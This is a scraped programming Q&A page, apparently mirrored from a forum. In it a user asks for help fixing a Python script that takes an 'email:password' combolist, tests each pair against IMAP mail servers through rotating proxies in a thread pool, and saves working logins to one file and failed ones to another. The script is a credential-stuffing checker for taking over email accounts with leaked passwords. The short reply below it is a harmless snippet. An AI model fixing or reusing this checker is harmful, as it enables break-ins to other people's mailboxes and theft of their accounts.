简体   繁体   中英

Python Imap.IMAP4_SSL Authenticate email and password in combolist error

Hello I need help with my code. It keeps giving me authentication-errors. Can you check it out for me? All I needed was the code to authenticate successfully and save the working login in a txt-file and the bad login (wrong password) in another txt-file. It works with smtp but keeps giving me an error on imap. See the code below. Thanks

The logins in accounts.txt are in the following format email:password

...

import imaplib
import ssl
import socket
import getpass
import re
import socks
import codecs
import unicodedata
import random
from multiprocessing.pool import ThreadPool

# PROXY_TYPE_HTTP
# PROXY_TYPE_SOCKS5

proxy_type = socks.PROXY_TYPE_HTTP    
use_proxies = False
thead_count = 1
use_encrpytion = False

accounts = []
accounts_checked = 0
accounts_valid = []
accounts_invalid = []

proxies = []

 
    
def check_account(email, password):
    try:   
        if (use_proxies):
            proxy = random.choice(proxies)
            proxy_host = proxy.split(':')[0]
            proxy_port = int(proxy.split(':')[1])

            socks.setdefaultproxy(proxy_type, proxy_host, proxy_port)
            socks.wrapmodule(imaplib)            

        mailserver = imaplib.IMAP4_SSL(('mail.' + re.search('@((\w|\w[\w\-]*?\w)\.\w+)', email).group(1)), 993)
        mailserver.login(str(email), str(password))        
        mailserver.close()

        return True
        
    except imaplib.IMAP4.error:
        print ("Log in failed.")
        return False

def get_status(account):
    global accounts_checked, accounts

    if (':' not in account):
        return False

    email = account.split(':')[0]
    password = account.split(':')[1]
    
    
    valid = check_account(email, password)

    if (valid):
        print("Valid: ", account)
        f1 = open("connect.txt", "a+")
        f1.write(account)
        f1.close()
        accounts_valid.append(account)
    else:
        f2 = open("not_connect.txt", "a+")
        f2.write(account)
        f2.close()
        accounts_invalid.append(account)

    accounts_checked += 1

    print("(" + str(accounts_checked) + "/" + str(len(accounts)) + ")")

    return valid


if __name__ == "__main__":

    if (use_proxies):
        print("Reading \"proxies.txt\"...")

        with open("proxies.txt") as f:
            for line in f:
                if (':' in line):
                    proxies.append(line)

        print("Found " + str(len(proxies)) + " proxies.")

    print("Reading \"accounts.txt\"...")

    with codecs.open("accounts.txt", encoding='utf-8') as f:
        for line in f:
            line = unicodedata.normalize('NFKD', line).encode('ascii','ignore').decode('ascii')
            if (':' in line):
                accounts.append(line.replace("\n", "").replace("\t", ""))

    print("Found " + str(len(accounts)) + " accounts.")

    print("Creating thread pool...")

    pool = ThreadPool(thead_count)
    results = pool.map(get_status, accounts)
    pool.close()
    pool.join() 

    print("Done checking, writing output...")

    print("Completed!")

...

you should create a minimal example, in my case I cannot log in using imaplib but I do not wrap with the socket stuff.. Why is the ssl sockets not automatic?

 def get_mail_client(email_address):
    
    print(password)
    mail = imaplib.IMAP4_SSL(SMTP_SERVER, SMTP_PORT)
    mail.login(email_address, password)
    return mail


def start(name):
    # Use a breakpoint in the code line below to debug your script.
    mailClient = get_mail_client(EMAIL)
    status, messages = mailClient.select('INBOX')

    print(f'Hi, {name}')  # Press Ctrl+F8 to toggle the breakpoint.
    print(messages)
    print(messages[0])

The technical post webpages of this site follow the CC BY-SA 4.0 protocol. If you need to reprint, please indicate the site URL or the original address.Any question please contact:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM